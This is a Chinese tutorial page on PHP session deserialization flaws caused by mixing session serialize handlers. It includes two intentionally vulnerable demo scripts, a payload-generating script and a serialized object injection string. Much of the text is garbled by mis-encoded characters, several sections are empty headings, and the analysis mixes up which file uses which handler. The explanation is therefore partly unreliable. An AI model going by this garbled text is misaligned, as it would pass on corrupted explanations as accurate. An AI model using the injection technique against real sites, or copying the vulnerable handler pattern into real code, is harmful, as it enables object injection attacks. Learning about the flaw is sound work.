PHP session反序列化漏洞超詳細(xì)講解
session請求過程
當(dāng)?shù)谝淮卧L問網(wǎng)站時(shí),Seesion_start()函數(shù)就會(huì)創(chuàng)建一個(gè)唯一的Session ID,并自動(dòng)通過HTTP的響應(yīng)頭,將這個(gè)Session ID保存到客戶端Cookie中。同時(shí),也在服務(wù)器端創(chuàng)建一個(gè)以Session ID命名的文件,用于保存這個(gè)用戶的會(huì)話信息。當(dāng)同一個(gè)用戶再次訪問這個(gè)網(wǎng)站時(shí),也會(huì)自動(dòng)通過HTTP的請求頭將Cookie中保存的Seesion ID再攜帶過來,這時(shí)Session_start()函數(shù)就不會(huì)再去分配一個(gè)新的Session ID,而是在服務(wù)器的硬盤中去尋找和這個(gè)Session ID同名的Session文件,將這之前為這個(gè)用戶保存的會(huì)話信息讀出,在當(dāng)前腳本中應(yīng)用,達(dá)到跟蹤這個(gè)用戶的目的。
session_start的作用
當(dāng)會(huì)話自動(dòng)開始或者通過session_start()手動(dòng)開始的時(shí)候, PHP 內(nèi)部會(huì)依據(jù)客戶端傳來的PHPSESSID來獲取現(xiàn)有的對應(yīng)的會(huì)話數(shù)據(jù)(即session文件), PHP 會(huì)自動(dòng)反序列化session文件的內(nèi)容,并將之填充到 $_SESSION 超級全局變量中。如果不存在對應(yīng)的會(huì)話數(shù)據(jù),則創(chuàng)建名為sess_PHPSESSID(客戶端傳來的)的文件。如果客戶端未發(fā)送PHPSESSID,則創(chuàng)建一個(gè)由32個(gè)字母組成的PHPSESSID,并返回set-cookie。
session存儲(chǔ)機(jī)制
PHP中的Session中的內(nèi)容并不是放在內(nèi)存中的,而是以文件的方式來存儲(chǔ)的,存儲(chǔ)方式就是由配置項(xiàng)session.save_handler來進(jìn)行確定的,默認(rèn)是以文件的方式存儲(chǔ)。存儲(chǔ)的文件是以sess_sessionid來進(jìn)行命名的,文件的內(nèi)容就是Session值的序列化之后的內(nèi)容。
了解一下PHP Session在php.ini中主要存在以下配置項(xiàng):

在PHP中Session有三種序列化的方式,分別是php,php_serialize,php_binary,不同的引擎所對應(yīng)的Session的存儲(chǔ)的方式不同

php處理器:

php_binary處理器:

php_serialize處理器:

session反序列化漏洞
PHP在session存儲(chǔ)和讀取時(shí),都會(huì)有一個(gè)序列化和反序列化的過程,PHP內(nèi)置了多種處理器用于存取 $_SESSION 數(shù)據(jù),都會(huì)對數(shù)據(jù)進(jìn)行序列化和反序列化,PHP中的Session的實(shí)現(xiàn)是沒有的問題的,漏洞主要是由于使用不同的引擎來處理session文件造成的。
存在$_session變量賦值

使用php_serialize引擎來存儲(chǔ)session
session.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>session2.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name." !";
}
}
?>分析:
在session.php中存儲(chǔ),這里要注意,因?yàn)閟ession.php存儲(chǔ)器使用了php.serialize,而session.php使用的是php,因此漏洞的主要原因在于不同的引擎對于豎杠'| '的解析產(chǎn)生歧義。
對于php_serialize引擎來說'| '可能只是一個(gè)正常的字符;但對于php引擎來說'| '就是分隔符,前面是$_SESSION['username']的鍵名,后面是GET參數(shù)經(jīng)過serialize序列化后的值。從而在解析的時(shí)候造成了歧義,導(dǎo)致其在解析Session文件時(shí)直接對' | '后的值進(jìn)行反序列化處理。
payload.php
<?php
class user {
var $name;
var $age;
}
$a = new user();
$a ->age="888";
$a ->name="cc";
echo serialize($a);
?>漏洞復(fù)現(xiàn):
|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}

然后使用session2.php讀?。褐苯幼x文件就可以

到此這篇關(guān)于PHP session反序列化漏洞超詳細(xì)講解的文章就介紹到這了,更多相關(guān)PHP session反序列化漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
php下載文件超時(shí)時(shí)間的設(shè)置方法
這篇文章W主要介紹了php下載文件超時(shí)時(shí)間的設(shè)置方法2016-10-10
PHP實(shí)現(xiàn)蛇形矩陣,回環(huán)矩陣及數(shù)字螺旋矩陣的方法分析
這篇文章主要介紹了PHP實(shí)現(xiàn)蛇形矩陣,回環(huán)矩陣及數(shù)字螺旋矩陣的方法,結(jié)合具體實(shí)例形式分析了蛇形矩陣,回環(huán)矩陣及數(shù)字螺旋矩陣的概念、表示方法及php實(shí)現(xiàn)技巧,需要的朋友可以參考下2017-05-05
php基于雙向循環(huán)隊(duì)列實(shí)現(xiàn)歷史記錄的前進(jìn)后退等功能
這篇文章主要介紹了php基于雙向循環(huán)隊(duì)列實(shí)現(xiàn)歷史記錄的前進(jìn)后退等功能,較為詳細(xì)的分析了php使用歷史記錄功能所涉及的相關(guān)技巧與實(shí)現(xiàn)方法,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-08-08

